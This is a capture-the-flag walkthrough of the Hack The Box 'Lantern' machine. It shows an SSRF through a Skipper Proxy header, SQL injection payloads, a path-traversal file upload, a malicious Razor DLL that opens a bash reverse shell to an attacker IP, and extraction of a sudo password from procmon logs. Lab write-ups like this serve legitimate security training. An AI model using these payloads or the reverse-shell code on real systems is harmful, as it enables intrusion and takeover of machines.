Introduction
This post provides a comprehensive walkthrough of the HTB Lantern machine , detailing the steps taken to achieve full system access. It includes initial foothold strategies, privilege escalation techniques, and insights into the tools and methodologies employed during the process.
HackTheBox Certified Penetration Testing Specialist Study Notes
HackTheBox Lantern Machine Walkthrough
Here’s a breakdown of the exploitation plan:
- Initial Setup:
- Start with two websites:
- A Flask site served via Skipper Proxy.
- A Blazor site running on .NET on Linux.
- Start with two websites:
- SSRF Exploitation:
- Leverage an SSRF vulnerability in Skipper Proxy to access the internal Blazor admin site.
- Admin Password Retrieval:
- Gain access to the admin credentials through:
- Exploiting SQL injection on the admin site.
- Reverse-engineering a DLL file to extract the password.
- Gain access to the admin credentials through:
- Gaining Code Execution:
- Log in to the admin page.
- Use file write capabilities to upload a malicious Razor DLL component.
- Trigger the malicious component to obtain a reverse shell.
- Privilege Escalation to Root:
- Access the ProcMon SQLite database.
- Inspect logged events to locate a root password.
Initial Foothold
We begin by conducting an Nmap scan, revealing open ports 22 (SSH), 80 (HTTP), and 3000.
nmap -Pn -p- -sC -sV -oN output.txt 10.129.177.163
Notably, the HTTP service redirects to http://lantern.htb/
, indicating the need to add this domain to the /etc/hosts
file for proper resolution.
echo -e '10.129.177.163\t\tlantern.htb' | sudo tee -a /etc/hosts
Focusing on web application analysis over SSH for initial access is an approach that we will take initially, especially given the server’s use of WebAssembly and Blazor technologies. Naviage to lantern.htb/login and you will see this login page:
If you right click and click on inspect element, you will see a link pointing to lantern.htb/_blazor which suggests and confirms that the server is Microsoft Blazor Server running on WebAssembly.
This can also be confirmed if you visit lantern.htb/_framework/blazor_server.js. This page can be simply discovered if you run site spider using BurpSuite.
Additionally, if you send any http request to examine the server headers, you could see clearly that the endpoint appears to only support OPTIONS and POST requests, and the site seems to be utilizing a reverse proxy known as Skipper Proxy.
What is Microsoft Blazor?
Microsoft Blazor is a free, open-source framework developed by Microsoft for building interactive web applications using C# instead of JavaScript. Part of the ASP.NET Core ecosystem, Blazor enables developers to create modern, dynamic web user interfaces while leveraging their existing knowledge of .NET and C#.
What is Skipper Proxy?
Skipper Proxy is an open-source HTTP reverse proxy and load balancer primarily designed for managing large-scale web applications and microservices. Developed by Zalando, it is highly flexible and customizable, making it well-suited for modern cloud-native applications.
How Skipper Works:
- Request Handling:
- Incoming HTTP requests pass through the Skipper proxy.
- Skipper uses its routing table to decide how to handle the request (e.g., forward it to a backend service, modify it, or apply filters).
- Route Matching:
- Routes can be based on URL paths, query parameters, headers, or other request attributes.
- Filters:
- Custom filters modify requests or responses, enabling functionality like CORS headers, compression, or authentication.
Key Takeaways
You could also test the file submission and login forms but it won’t yield anything useful. Also we don’t have any valid usernames or passwords, and we haven’t identified a way to exploit the upload form, as there’s no clear indication of how the file is being processed on the backend.
On the other hand, we’ve gathered substantial information about the target’s tech stack. This would be a good time to investigate any potential CVEs that might be applicable.
We can then gain access to source files and the main admin panel, where certain bugs are exploited to achieve code execution.
Skipper Proxy CVE
X-Skipper-Proxy 0.13.237 CVE is a vulnerability related to how the Skipper Proxy handles requests and forwards them to backend services. SSRF is a type of vulnerability that allows an attacker to manipulate the proxy or server to make unintended HTTP requests to internal or external systems.
Understanding the Vulnerability:
- X-Skipper-Proxy Header:
- This header is often added by Skipper Proxy during the forwarding process to indicate that the request passed through the proxy.
- If improperly configured, the proxy might process untrusted or malicious inputs, making it susceptible to SSRF attacks.
- SSRF in Skipper Proxy:
- SSRF vulnerabilities typically occur when:
- The proxy does not validate or sanitize incoming URLs.
- It blindly forwards requests to internal systems or services.
- Attackers could exploit this by crafting malicious URLs to access sensitive internal resources or perform unauthorized actions.
- SSRF vulnerabilities typically occur when:
- Impact:
- Unauthorized access to internal services (e.g., databases, APIs).
- Data exfiltration or exposure of sensitive information.
- Triggering actions on internal systems that should be restricted.
Skipper Proxy CVE Exploitation:
An attacker might craft a general request like this:
GET http://example.com/vulnerable-endpoint?target=http://internal-system/admin HTTP/1.1
Host: example.com
If the Skipper Proxy forwards the target
parameter’s value without validation, the attacker could reach internal systems.
In our machine, we could mimick such request using curl:
curl -si -H 'X-Skipper-Proxy: http://127.0.0.1:3000' 'http://lantern.htb'
The above command should return a compelte response from the page running at http://127.0.0.1:3000 which confirms that the target is vulnerable to SSRF.
Leveraging SSRF to Conduct Port Scanning
You can use ffuf to send port scan probes using the below command:
ffuf -u http://lantern.htb -H "X-Skipper-Proxy: http://127.0.0.1:FUZZ" -w <(seq 0 65535) -ac
And the output is:
22 [Status: 500, Size: 22, Words: 3, Lines: 2, Duration: 127ms]
80 [Status: 200, Size: 12049, Words: 4549, Lines: 225, Duration: 101ms]
3000 [Status: 200, Size: 2852, Words: 334, Lines: 58, Duration: 101ms]
5000 [Status: 200, Size: 1669, Words: 389, Lines: 50, Duration: 91ms]
8000 [Status: 200, Size: 12049, Words: 4549, Lines: 225, Duration: 98ms]
We discovered the following ports:
- Previously known ports:
- 22: Likely SSH.
- 80: A web page.
- 3000: A Blazor-based admin page.
- Newly identified ports:
- 5000: Hosts a different Blazor page.
- Similar to port 3000 but loads
blazor.webassembly.js
instead ofblazor.server.js
. - The page title is “InternaLantern”, unlike the admin page on port 3000, which has no title.
- Similar to port 3000 but loads
- 8000: Mirrors the content of port 80.
- 5000: Hosts a different Blazor page.
The page on port 5000 could represent an additional internal system or functionality within Lantern, distinct from the admin page, suggesting potential further avenues for exploration.
Enumerating the pages on port 5000 and 8000
To load pages via the SSRF, you can utilize the Header Editor plugin in Firefox to modify requests seamlessly. Here’s how you can set it up:
Steps to Implement the SSRF with Header Editor:
- Install the Plugin:
- Search for and install the Header Editor plugin from the Firefox Add-ons store.
- Configure the Header:
- Open the Header Editor settings.
- Create a new rule to add the required header to your requests:
- Header Name: Specify the header key (e.g.,
X-Target-Host
or whatever is needed for the SSRF). In our case, it’s x-skipper-proxy - Header Value: Set the value corresponding to the internal site you wish to target. In our case, it’s , http://127.0.0.1:5000
- Header Name: Specify the header key (e.g.,
- Enable Conditional Application:
- Configure the plugin to add this header only when enabled. This allows you to toggle the header on and off for targeted requests.
4. Test Your Setup:
- Enable the plugin and make a request to the public site. In our case it’s http://lantern.htb
Exploiting SQL Injection
The “Add Employee” form is likely sanitizing inputs correctly, as it properly handles single and double quotes without breaking. However, the “Search in Vacation” form may be vulnerable due to the error it throws.
Steps to Investigate the Vacation Form:
- Analyze the Error and Test for SQL Injection
Use any employee ID from the previous section and plug it in the book vacation form. For example you can use PPAOS which happens to be the ID of Anny in the employee information page. Now re-fill the form but with the same ID and an single apostrophe such as:
PPAOS'
The application now throws an error suggesting an SQL Injection vulnerability.
You could then try the below union payloads to guess the number of columns:
' union select 1-- -
' union select 1,2-- -
' union select 1,2,3-- -
The error revealing that the application is running SQLite version 3.37.2 combined with the fact that the database operates within a virtualized SQLite instance in the browser introduces some unique considerations:
An interesting feature of SQLite is that it keeps the schema for each table in the sqlite_schema
table’s sql
column. Using count
, we can confirm there are two tables.
1, count(sql),3 from sqlite_schema-- -
You can then use group_concat
select 1, group_concat(sql),3 from sqlite
Next we aim for the tables
' union select 1,group_concat(id),3
Examining the InternalInfo column reveals credentials for a system administrator.
' union select 1,group_concat(internalinfo),3
The username “admin” and the password “AJbFA_Q@925p9ap#22” are used to log into the site on port 3000.
The Admin Page
The admin dashboard consists of several components.
On the left, there are links to “Files,” “Upload Content,” “Health Check,” “Logs,” and “Uploaded Resumes.” Additionally, there’s a “Choose Module” section, while the right side displays some static, non-functional charts.
The search bar in the center provides suggestions as you start typing. Choosing an option and clicking “Search” will navigate to one of the same five modules available via the links on the left.
If you enter a query that doesn’t match any of the five modules, an error message appears.
Each of them needs to be a .dll file located in the /opt/components
directory.
When attempting directory traversal, the system generates a different response, indicating that the module must strictly reside in /opt/components
.
The file component displays a file tree located in /var/www/sites/lantern.htb
. Selecting a file from the tree reveals its contents in a box on the right.
As suspected earlier, the main site is a Flask application. Upon reviewing the app.py
source code, we noticed the three routes mentioned previously, along with an additional one. This route implements an insecure file fetch mechanism, which we should be able to exploit to read arbitrary files from the main site.
The FilUpload Fuctionality
This provides a straightforward interface for uploading images. When we choose a test file, it uploads successfully and appears in the Files tab.
However, if ew attempt to upload another file with the same name, the upload fails, displaying a message that the file already exists. It seems the system can create files but does not allow overwriting them.
First Shell
DLL Reverse Engineering with Directory Traversal
We can already upload files to the images directory using the File Upload feature, as well as to an uploads directory specifically for resumes on the main site.
However, we want the capability to upload files outside of these directories. The source code for the resume upload feature doesn’t provide any useful target points, so we’ll need to examine how the FileUpload module operates.
We plan to exploit the file read vulnerability on the main site to access the binary, which is a 32-bit .NET assembly.
motasem@kali$ wget 'http://lantern.htb/PrivacyAndPolicy?lang=.&ext=/../../../opt/components/FileUpload.dll' -O FileUpload.dll
FileUpload.dll 100%[=====================================>] 11.50K --.-KB/s in 0s
(53.1 MB/s) - ‘FileUpload.dll’ saved [11776/11776]
motasem@kali$ file FileUpload.dll
FileUpload.dll: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
We’ll analyze the binary using DotPeek. It contains a single namespace, FileUpload, with two classes: Component and _Imports.
The file upload process is managed here.
private async
#nullable enable
Task LoadFiles(InputFileChangeEventArgs e)
{
this.isLoading = true;
this.loadedFiles.Clear();
foreach (IBrowserFile file in (IEnumerable<IBrowserFile>) e.GetMultipleFiles(this.maxAllowedFiles))
{
try
{
this.loadedFiles.Add(file);
string FileName = file.Name.Replace("\\", "");
string path = Path.Combine("/var/www/sites/lantern.htb/static/images", FileName);
if (!this.isFileExist(FileName))
{
await using (FileStream fs = new FileStream(path, FileMode.Create))
{
await file.OpenReadStream(this.maxFileSize).CopyToAsync((Stream) fs);
this.UIMessage = "Success!";
this.UIMessageType = "alert-success";
}
}
else
{
this.UIMessage = "An error occurred: File already exist";
this.UIMessageType = "alert-danger";
}
FileName = (string) null;
path = (string) null;
}
catch (Exception ex)
{
this.UIMessage = "An error occurred: " + ex.Message;
this.UIMessageType = "alert-danger";
}
this.ShowError();
}
this.isLoading = false;
}
While the implementation removes backslashes, it doesn’t perform any additional input sanitization. This indicates that if we can pass a directory traversal payload to this function, it could potentially write files to arbitrary locations.
When uploading a file, the messages sent are in the binary format . There’s a useful Burp extension called Blazor Traffic Processor (BTP) that can convert this format to JSON. It can be installed via the Burp BApp Store (found under Extensions → BApp Store). Once installed, we can decode these messages by pasting them into the extension.
When a file is selected in the app, the first outgoing message can be pasted into BTP and deserialized into JSON.
À·BeginInvokeDotNetFromJS¡2À¬NotifyChangeÙi[[{"id":1,"lastModified":"2024-12-01T19:33:58.244Z","name":"test","size":15,"contentType":"","blob":{}}]]
This message specifies the file name.
[{
"Target": "BeginInvokeDotNetFromJS",
"Headers": 0,
"Arguments": [
"2",
"null",
"NotifyChange",
2,
[[{
"blob": {},
"size": 15,
"name": "test",
"id": 1,
"lastModified": "2024-08-21T19:33:58.244Z",
"contentType": ""
}]]
],
"MessageType": 1
}]
On each subsequent upload, the first number in the arguments and the id
field both increment. The first number is always one more than the id
. Recognizing this pattern enables me to craft a custom payload.
Later messages include the plaintext content of the uploaded file. However, BTP crashes if the payload contains a newline character.
To test for directory traversal, we’ll attempt to write to /opt/components
. This process is simpler if Blazor is operating in polling HTTP mode instead of WebSockets, as we can enable intercept mode in Burp for better control.
Once a file is uploaded, Burp captures the traffic. we can then grab a payload with the appropriate arguments, id
, and an updated name containing a traversal string.
Switching BTP to serialize mode allows us to modify the payload in the Intercept window.
After making changes, we forward the modified request and disable intercept mode to let the remaining requests process normally. The system reports success, and verifying the uploaded file on the site confirms the process worked.
motasem@kali$ curl 'http://lantern.htb/PrivacyAndPolicy?lang=.&ext=/../../../opt/components/test.txt'
test is successful
Nest we’ll launch Visual Studio and start a new project using the “Razor Class Library” template. If that option isn’t visible, there’s a link at the bottom to open the installer and add necessary “Workloads.”
We’ll need to include the “ASP.NET and web development” workload.
After naming the project and setting its path, we’ll proceed to the next step where we need to select a .NET version. Although we are unsure at this point, we’ll need to use .NET 6.0.
The generated project includes a few files by default, such as Component1.razor
with some HTML.
We’ll then switch to the Release configuration and build the project. Before adding any code, our goal is to verify if it compiles successfully. If it does, we’ll know the setup works.
Alternatively, the same setup can be done on Linux using the commands dotnet new razorclasslib -o LanternExploit -f net6.0
followed by dotnet build LanternExploit --configuration Release
.
Next, we’ll upload the project to Lantern and search for the module. While it does locate the module, there’s an error. If we weren’t already using .NET 6, this would make it obvious that the correct version is required. Additionally, there’s an issue about it not finding the Component
.
Next we’ll open the POC DLL in DotPeek to examine it. Inside, there’s a LanternExploit
namespace containing a Component1
class. This class overrides the BuildRenderTree
function, incorporating the HTML from the .razor
file.
namespace LanternExploit
{
...[snip]...
public partial class Component1 : global::Microsoft.AspNetCore.Components.ComponentBase
#nullable disable
{
#pragma warning disable 1998
protected override void BuildRenderTree(global::Microsoft.AspNetCore.Components.Rendering.RenderTreeBuilder __builder)
{
__builder.AddMarkupContent(0, "<div class=\"my-component\" b-ls9lqve1mb>\r\n This component is defined in the <strong b-ls9lqve1mb>LanternExploit</strong> library.\r\n</div>");
}
#pragma warning restore 1998
}
}
#pragma warning restore 1591
The class name appears to be derived from the name of the .razor
file. In Visual Studio’s Solution Explorer, we’ll rename Component1.razor
to Component.razor
, which automatically updates the corresponding CSS file as well.
After rebuilding and reloading the DLL in DotPeek, the structure looks more organized. However, there’s a cron job running periodically that clears the Admin page and removes any loaded DLLs.
We’ll either wait for that cron job to finish or modify the DLL name (which would require renaming the entire project). Once the cron is handled, we can re-upload the DLL and perform a “Search,” which successfully loads the content.
Next, we’ll add code to Component.razor
to execute server commands when the DLL is loaded. To do this, we plan to override the OnInitialized
function, as it seems an appropriate point to execute the commands.
@using System.Diagnostics;
<div class="my-component">
Exploited Successfully.
</div>
@code
{
protected override void OnInitialized()
{
try {
Process p = new Process();
p.StartInfo.FileName = "/bin/bash";
p.StartInfo.Arguments = "-c \"/bin/bash -i >& /dev/tcp/10.10.14.6/443 0>&1 \"";
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.UseShellExecute = false;
p.Start();
}
catch (Exception ex)
{
Console.WriteLine($"Error: {ex.Message}");
}
}
}
After making the changes, we’ll compile the DLL and upload it to Lantern. Upon loading, the HTML content is successfully injected and you get a shell.
motasem@kali$ nc -lnvp 443
Listening on 0.0.0.0 4545
Connection received on 10.10.12.4 47494
bash: cannot set terminal process group (63574): Inappropriate ioctl for device
bash: no job control in this shell
tomas@lantern:~/LanternAdmin$
Privielge Escalation
Tomas is the sole user with a home directory located in /home
and the only non-root user with an assigned shell.
tomas@lantern:/home$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
tomas:x:1000:1000:tomas:/home/tomas:/bin/bash
The admin web application, LanternAdmin, is available, but it doesn’t contain anything helpful for privilege escalation. However, Tomas has the ability to execute procmon
with root privileges.
tomas@lantern:~$ sudo -l
Matching Defaults entries for tomas on lantern:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User tomas may run the following commands on lantern:
(ALL : ALL) NOPASSWD: /usr/bin/procmon
We’ll launch procmon
and attach it to the relevant nano
process using sudo procmon -p $(pidof nano)
. This command starts a text-based user interface (TUI) that displays the system calls being made by the process.
Among these, write
system calls are particularly noteworthy. To focus on these calls, We’ll exit with Ctrl-C
and restart procmon
with the -e write
option (adjusting the view to remove unnecessary columns).
This setup provides the return value of each write
call, which represents the number of bytes written. Additionally, it reveals the file descriptor used—commonly 1
for stdout
.
Although the display isn’t very clear on Lantern, the GitHub page for procmon
shows the functionality of the F keys more distinctly. After observing for a few minutes, We’ll press F6
to export the data to a file and then F9
to exit.
Next we’ll use scp
to transfer the database file to the attacker machine for analysis. It’s an SQLite database with three tables.
motasem@kali$ file procmon_2024-08-22_17\:02\:49.db
procmon_2024-12-01_13:33:43.db: SQLite 3.x database, last written using SQLite version 3027002, file counter 16, database pages 172, cookie 0x10, schema 4, UTF-8, version-valid-for 16
The metadata
and stats
tables provide collection-related information, while the ebpf
table contains the actual data.
motasem@kali$ sqlite3 procmon_2024-08-22_17\:02\:49.db
SQLite version 3.37.2 2024-12-01_13:33:43
Enter ".help" for usage hints.
sqlite> .tables
ebpf metadata stats
sqlite> .schema metadata
CREATE TABLE metadata (startTime INT, startEpocTime TEXT);
sqlite> .schema stats
CREATE TABLE stats (syscall TEXT, count INTEGER, duration INTEGER);
The ebpf
table has many rows, and we are specifically interested in the resultcode
and arguments
fields. However, the arguments
field doesn’t display directly because it contains binary data. Converting it to hexadecimal format resolves this.
sqlite> select resultcode, hex(arguments) from ebpf limit 10;
resultcode|hex(arguments)
5|04000000000000007B224944223A22313732343334363137302E39310004030000000000003B3C49FFC35500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
6|04000000000000007B224944223A22313732343334363137302E39310004030000000000003B3C49FFC35500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0|04000000000000007B224944223A22313732343334363137302E39310004030000000000003B3C49FFC35500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
6|01000000000000001B5B3F32356C1B28426563686F3443284220526500060000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0|01000000000000001B5B3F32356C1B28426563686F3443284220526500060000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0|01000000000000001B5B3F32356C1B28426563686F3443284220526500060000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0|01000000000000001B5B3F32356C1B28426563686F3443284220526500060000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0|01000000000000001B5B3F32356C1B28426563686F3443284220526500060000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0|01000000000000001B5B3F32356C1B28426563686F3443284220526500060000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
6|01000000000000001B5B3F3235681B28426563686F3443284220526500060000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Understanding the arguments
field is a bit tricky. For example, the arguments to the write
function are as follows: ssize_t write(int fd, const void *buf, size_t count);
.
The first parameter, an integer (fd
), spans eight bytes and is mostly 1
. Interestingly, it deviates from 1
only at the beginning of the file, which we’ll ignore for now.
Next is the buffer. The buffer’s length consistently exceeds the number of bytes actually written, according to the return value. Although we didn’t fully resolve this discrepancy, we got close enough to proceed.
We plan to write a Python script to extract and analyze the data. The script will retrieve all rows, loop through them, and if write
indicates any bytes were written, it will fetch and display the corresponding number of bytes from arguments
.
import re
import sqlite3
# Establish a connection to the SQLite database
# Uncomment the desired database connection
# conn = sqlite3.connect('procmon_2024-08-22_18:00:01.db')
conn = sqlite3.connect('procmon_2024-08-22_17:02:49.db')
cursor = conn.cursor()
# Fetch all rows from the 'ebpf' table
cursor.execute("SELECT * FROM ebpf;")
rows = cursor.fetchall()
# Initialize time tracking variable
previous_time = 0
# Process each row in the result
for row in rows:
result = int(row[4]) # Convert the result field to an integer
current_time = row[5] # Extract the time field
# Skip rows with the same timestamp as the previous row
if current_time == previous_time:
continue
previous_time = current_time # Update the time tracker
arguments = row[-1] # Extract the arguments field
# Skip rows where result indicates no data
if result == 0:
continue
# Extract and decode the buffer
buffer_content = arguments[8:8 + result]
print(buffer_content.decode().replace('\r', '\n'), end='')
This approach reveals that the data being written includes a password piped into sudo
.
motasem@kali$ python extract_text.py
{"ID" ./backup.sh
e
ech
echo Q3Eddtdw3pMB | sudo ./backup.sh
And the root password is Q3Eddtdw3pMB